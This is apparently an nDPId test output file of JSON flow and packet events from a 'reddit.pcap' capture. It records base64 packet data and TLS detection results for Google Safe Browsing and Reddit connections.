+00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"reddit.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1605291684452,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56558,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":452132,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiLjUAAAAAoAL9IMZSAAACBAWgBAIICql037gAAAAAAQMDBw=="} +00463{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":476073,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXOWkwh+EoHfGoBJXgJjYAAACBAV4AQMDAwQCCArC1zJs1N1gBw=="} +00450{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":476117,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4Sgd8blpMIggBAB+xzRAAABAQgK1N1gIMLXMmw="} +01143{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":476610,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4Sgd8blpMIggBgB+\/TpAAABAQgK1N1gIMLXMmwWAwECAAEAAfwDA4uuqSGlaYkrooqTrn+tpuwEFqHXve+KWS5sY0YZYzAtIB8Dy2r0TMEQAKyWvv37U3EEFg7M1cxOcqNinyfcEA7jACDa2hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZM6OgAAAAAAIAAeAAAbc2FmZWJyb3dzaW5nLmdvb2dsZWFwaXMuY29tABcAAP8BAAEAAAoACgAIKioAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACkqKgABAAAdACDpJ8gfLr7uFkPlmEjT3rwuxn7WZmrRa2l21mCLRvatFwAtAAIBAQArAAsKqqoDBAMDAwIDAQAbAAMCAAJqagABAAAVAMEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00846{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"reddit.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1605291684451,"flow_last_seen":1605291684476,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200a","src_port":40028,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"safebrowsing.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"reddit.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1605291684481,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56560,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":481568,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7CxQAAAAAoAL9IHB8AAACBAWgBAIICql039UAAAAAAQMDBw=="} +00463{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":485305,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXoJUF9DimtmGoBJXgOayAAACBAV4AQMDAwQCCArC1zJ11N1gBw=="} +00464{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":485306,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc7vvL1mKYoi42oBJXgKSSAAACBAV4AQMDAwQCCArC1zJ1qXTfuA=="} +00451{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":485349,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDERGACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka2YaCVBfRgBAB+2qiAAABAQgK1N1gKcLXMnU="} +00451{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":485374,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiLjb7y9ZjgBAB+yiDAAABAQgKqXTf2cLXMnU="} +01145{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":485819,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDERGAiUGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnF4Bu+Ka2YaCVBfRgBgB+3VxAAABAQgK1N1gKcLXMnUWAwECAAEAAfwDA+FyaTy3gljlCrKoC8pkvabZPAdbXS\/HjqlTeopJ7igJIFs4TU2zCegfACNAAt1BZk2uYfR4cn7k081CAzn0Xsa\/ACDq6hMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOamgAAAAAAIAAeAAAbc2FmZWJyb3dzaW5nLmdvb2dsZWFwaXMuY29tABcAAP8BAAEAAAoACgAIenoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACl6egABAAAdACABIk96yyznUcaf6vVUimDnbh1HbGdPIENeRJowyIpZTAAtAAIBAQArAAsKuroDBAMDAwIDAQAbAAMCAAK6ugABAAAVAMEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00847{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"reddit.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1605291684451,"flow_last_seen":1605291684485,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200a","src_port":40030,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"safebrowsing.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01146{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":486237,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCYCjAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3O4Bu5iiLjb7y9ZjgBgB+0SGAAABAQgKqXTf2sLXMnUWAwECAAEAAfwDA8+KHdxMQ3baGhOy0m36F3JqRDzX4jcR6LxsIf9LR8+BIMkeD4Y9wR0SFsOkbLBc6vr02gpR5VUEznO\/yKsj0dCaACCamhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAEwARAAAOd3d3LnJlZGRpdC5jb20AFwAA\/wEAAQAACgAKAAjKygAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKcrKAAEAAB0AIBic8D9Jh7IHJYeU9O\/BIKhKDWJdCz1fe1mvtpZ3RbQCAC0AAgEBACsACwpqagMEAwMDAgMBABsAAwIAAqqqAAEAABUAzgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00823{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"reddit.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1605291684452,"flow_last_seen":1605291684486,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56558,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.reddit.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00465{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551717,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8HTo0uYRewsVoBJXgNkGAAACBAV4AQMDAwQCCArC1zKKqXTf1Q=="} +00452{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551719,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXOWkwiCEoHnLgBALMBF6AAABAQgKwtcyidTdYCA="} +02093{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551719,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXOWkwiCEoHnLgBgLMPJmAAABAQgKwtcykNTdYCAWAwMAegIAAHYDA4WK2WJO0ZR7EnO6BPviJl448BcwInpgzqlBAjSKQ\/knIB8Dy2r0TMEQAKyWvv37U3EEFg7M1cxOcqNinyfcEA7jEwEAAC4AMwAkAB0AIJB1I4RE9Xo4xU\/dhnKJ2RgL6fMdu7bKA2RZzKRl2bAYACsAAgMEFAMDAAEBFwMDCtrIVj2+84oKuMgDKTWDOxMPZHDYQ2DCgByI\/GiSLNR+VoYBiTvQUfeHMXNgGBDT69JdLTjOiSb5vMMC7lfsvyGm0WdC729y\/4m4v3I+gSYJCykvbYQDvrFjPP8jncQ7ylw3FTSGspv1xm4+n4p\/Y\/2kGW9Sqq7CfnfZhPRVsqhdzwzD9n0PwYuFiFc6g2edgU2hjjiWqQUkhZQ34uDAF1uH38CpIUv0C67HwFZRi0+6cRVjYfuxHVZ4SAL0LCEWB6vRRNG\/kRpmUzoa9TLWxUFSa81tHiiA7wGpyFkQtvfbWAT14Jfq67fe9UAXrYYyD5LEweHuJkwMmQLmCETM5Ig7O87n6ZIinpH9FEaSllBqoUEcfiENxo9UUepuJf5L\/Fmo0TygNptti3WPgZK+bm8HtAkXq6HjLoobPXqyPlCxDipAZL4Fh3no6wcmXEAT1n7XrJAB6ekU4Rvs6q2tMAb13JL8HmRl0+x2n5PketghnXv8aHBkmhTcVkyigBDAMqOuxS+Ljmjh7YWXW3XKXMvgl5g5846V\/xz8DM08ezT52nlYJV4hgspTinAJmITCOS5GpPcOnE3PrD2pQE+SZ\/UIiS\/XLW3bOwAg3cgZb8CMHoFIuUX3EF65KuAOL426wu3al5JLiiFSuex\/uu8KBQGqpoU1z1PwPKMsAtUhBVZ08FHhdWu16fItDZ523+9NBXasiBX\/GWRdKobB6CHhmJl4UacbbiVuPWyHqmgqz6pJyGRXbENoVOAyXuHEbmuM7CbJW6QQ99vOHpE32224XdNfl9mVgvDlO79zpBk5DGmdglitCaFLO11ek7BzVVoQIaxIDdOZDVpnqmPD6mpf8tZJZgVqbSKv6GROZ5veozd\/MMpmUGJhsax8mKUDbvUIEG3hXiLt9AC\/ANXqoq7bO8okbSueM3B8LP3u6kEIrJ+pXMU1rTKFC+ySoV\/zYgfp+tVkkb\/FKQvSrCoXhLB3PCq\/Vfakk5FDwaFd3FEIzNwvtGq+olysw6X3+p+rkkYa86oND2+7mInJAxIlL6Ut0kZzf96r8irmBzg1PeSu0JLAmQPJwgIuXoG9iHPZiGK3bxuY6Y8Llyp6AUsnlSkt9URG3OQ79H8XqV\/o4g2kWsN7utQelYyP3QQ5fIuPs0BthoFWcWuJCKiL7pkgxN3ZTwhoo1uwtWZlbVisU1xuG+fOXiB99Z5oStZ+eXM7vSxP9pK9n4O8Y3x\/rD1H81rtBnOwC02Dfa\/eCusZ9wrhW9bNCjqUUGBQKNLAaBqIDaNOWhIc6dMAPy11IqLlFY9jM4u7fRZ+KV+NBNVu1FaJ2LojwqXZOduTFLvjdsE11F\/5k0x418UrpSTl0md6Zshr+TGNPZ8ncjzH\/ZRxiqIX1t2TLRYZExr4qZNKDDohCT5GBVOGjX1KjhaewxNQPHSLPg=="} +00888{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"reddit.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1605291684451,"flow_last_seen":1605291684551,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200a","src_port":40028,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"safebrowsing.googleapis.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02098{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551720,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXOWkxtiEoHnLgBgLMDriAAABAQgKwtcykNTdYCBwuUtMSqhG+Hmj3Dws6\/NCbC5OQax8\/umkeqjZ3QbwTVqI\/LUci6hw1wKN5rwyOLgjewXrSEEwRdj6WohImWZAniLKTa2sQExQrEpaPg2gWJxAh1MTzKEnDKPBjAV++GBWlGozMUTxDx5koQ2X9L7ymcUdazb36TemeoP6PuW60EmUteW0lniOX\/c2H+WdR2UVEO1RhpBI1jX05dQjSqIBSBr5JtQyV1Nn4B9Xde4NTKY5s6FTjmMpwGiKonQe4l7zsp1edivASLr8QIvtn5dAsJpIT+hCFc6ey3dvQu+2ii69\/+5HXUedLQmoEMqVi8u2LPqOZ5qFwbGhBrFx0CoN2O\/D+6XscKtD2LJnjanbWJJRSw43YxkdiDwT0DnsOe90m5DGGXuS7aBs60G4f\/7ithvH4S774CJF8Mmit0hpK44PJwi7HUmzH6EtJ5PuBlcCEktSuebYg+cB84ferLk9ZDHe\/rCsRt7U99kWFM6rk\/gYeWzWrO+0rFM9m+6r6u9N5B0b35URfdBnJ23aZh0F1EgFbGAFX65boVxfR+aL743pqvwbauTVRCgyfFgPRZ7TXH6q2cQTOPgsrUN6vMw\/Nh8qESeYQBx1O9WzN1WLxI5IiyadVLdepxLS1\/ly1XSfeD81yfFmsHA3U8KrbXRtSqVEct0Tqn4FyplZy7MmIFPKduKCZOMqIRike1IVhW4H+KTaJuPGatWfalJnLwRAtlx8w+fj8I+zbgbYSTehNj61WDFND4Cbjf5sRtMMxcGbltiYDCUnIdqYnu6EBaT5UDow30jSYvrexmpMQGuUn\/+Mnx47bP38D7dNOhTzguhE7CfRWcrahyRPTCPxo9QIhOUN266eHrGla4SktGFLBpT\/8ySH2YP9gTSZRnj8eLHi3pytyLy9iMGVd4D5OmoyBWfpqzk3h5aX1eklwGZq9L5GUlUTBBCb3hNGXxVy4I0w\/sUfoF9gmPw3jZ8IWSl9XnccXFkmy2f\/N8e2wTFiM5Ps8gIdLE1vidNX808BSlSeW2rypL6dkulzg+padsz0YuBIkqqK8wuo479mGteK2hbpKai2W31mGZGXJO5mw0nw5NrrUvADWqZMZj8Q1UIsQzE2dT3QcoPInZRrf8ofnFByC7\/s3hC17vMOxU+VOMlp+rCparXc3qIvjp79hq++1jNInrQqCGJ9LhZqWn3enjSzf3MVdbLvlUTWoJ\/JillypvLZKumgxUrdPzErm3WrYmNYx\/P+vHCre\/SgQB698AyOvoIDSl4c7oPRR3BCvDXqFVGfbzByB0onkww9NdrANor\/fKVvW1xUPdg+7hWS5\/Gze7qdZuLO\/k71+diUGtU1TFgajek5\/25LfdakDe0Ggpmvh0vXmz0oFJjt+W+bb\/ZOvLZVrTiqsCg6uLymG9xkxkcFIUvGxNu5Y+oPHfQ\/z983WC5YIs\/N3KVF14hV18i68xquF9QQOE+XM0TuHuGYH5x4UGRF7v+PtAq+ULt6rEKACpdW88og6mJF\/HYdkNI7dfxVA5hPDSjbRlh4gL+dTCxLz3a5UZBmffFi5mE5eduDdLdQ2OMp11Ka00T14cf5\/dh21Uvyi5JBOktcEaxavglclFUmjg=="} +01132{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551721,"pkt_caplen":586,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":586,"pkt_l4_len":532,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAhQGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXOWky5CEoHnLgBgLMF\/CAAABAQgKwtcykNTdYCARp9Y1GkdrUAhVhcIw0EqIoQmCp6NJaNRfX73OnhFB2Jr7TAAtyqqxuLgc2arJFSQXxRmoSHfVkBjgDoEeWr6oJywHLeY2paZ+JwV0cOXGhZlfh92iIeQzRolyKzpZXgcwWNU6Yqfn\/UWEJq7kiTCu4Vh+0IhdwT5LOo718RMZj4xIKmcFKxTsnYmy1FBFRU2jC91Tif3G+CjNK0MFk8wVerUZkAWcFpngd1SaH1I3K2BPcwDQbwNSVXH890orGlUAUGb284YXic14pz4txZAy9L6n8Pq0Xfc4PSYN7wQUJDI1yLRfqERnT2mZCsQTzVdqRSgjOV0pnIaDds\/8jwTZuMneHy4Kd2\/9shu\/jYYSMLlNeygV0za3weB7oGmDk5vqv2EAnBPuJqfoTttsdHuTdOmRHRvvj1rvJMgVvomNBhmDhGKTT\/pj+wgBM00TLlhS17mFrqB7vck6x3+uuDabSxRBByyT9VCdVfUS3aO7zW4z52W\/2W7rU+a8ND\/VOkeObzZ+ylBrB+I0LUNN8huSB0\/dP5o4BPrCYsty5PlLxNbFD42FXVWqKKXQl4Bji7XU2UmAQyZTKAzTAcvB+S0SzIS781NoG1bOW8etMbVwpTBy6pDm2xgU2MncgCslvuK+4kxTQl+pKYcSKhL2SrCZfToE5w=="} +00452{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551721,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgKAAAAAAAAIAoqAcsBIEmLB5kd7IUo3\/YpAbucXoJUF9HimtuLgBALMF88AAABAQgKwtcyodTdYCk="} +00451{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551793,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7CxV06NLngBAB+1zSAAABAQgKqXTgG8LXMoo="} +00451{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551829,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4SgecvlpMbYgBAB9RWrAAABAQgK1N1ga8LXMpA="} +00452{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551840,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4SgecvlpMuQgBAB8hD2AAABAQgK1N1ga8LXMpA="} +00452{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":551851,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBBqZACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAKnFwBu4SgecvlpM2EgBAB7w8FAAABAQgK1N1ga8LXMpA="} 